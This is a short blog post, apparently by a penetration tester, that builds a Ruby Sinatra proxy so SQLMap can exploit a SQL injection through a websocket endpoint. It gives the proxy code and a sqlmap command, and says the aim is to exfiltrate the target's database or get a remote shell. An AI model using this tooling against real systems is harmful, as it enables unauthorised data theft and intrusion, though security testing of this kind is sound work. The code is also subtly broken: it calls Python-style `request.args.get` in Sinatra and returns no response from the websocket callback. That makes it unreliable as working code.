Ruby proxy for SQLMap and Websockets

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I was testing for SQL Injection on a target the other day, and after a little fuzzing indicated that there might be a vulnerability, I wanted to use SQLMap to make data exfiltration easier. But this vulnerability was part of a websocket request, and unfortunately, SQLMap doesn’t support websockets. One solution to this problem is to introduce a little proxy between the websocket endpoint and SQLMap and convert HTTP requests into websocket ones.

This is actually pretty simple to achieve with a few lines of Ruby. I decided to use a little Sinatra app with the faye-websocket gem as a websocket client. First, I installed the necessary gems:

gem install sinatra faye-websocket rackup puma

Then I added the following code to a file called app.rb:

require 'faye/websocket'
require 'sinatra'

get '/' do
  ws = Faye::WebSocket::Client.new('ws://TARGET/cable')

  ws.on :open do |_event|
    message = {}
    message['username'] = request.args.get('username', '')
    ws.send(message.to_json)
  end

  ws.on :message do |event|
    [:message, event.data]
    ws.close
  end
end

What’s happening here is that we add a “/” route handler to Sinatra, and in the handler, we create a websocket connection to the target. Then, we add an “open” handler that converts the GET parameters to the JSON the websocket endpoint expects, and when we receive back a message, we return that as the HTTP response and close the websocket connection.

We can run this little app with ruby app.rb and point SQLMap to the URL of the app: python3 sqlmap.py -u http://127.0.0.1:4567/\?username\=test --threads=10 --batch to exfiltrate the database or even get a remote shell if we are lucky.

A few lines of Ruby saved the day again.

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Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.

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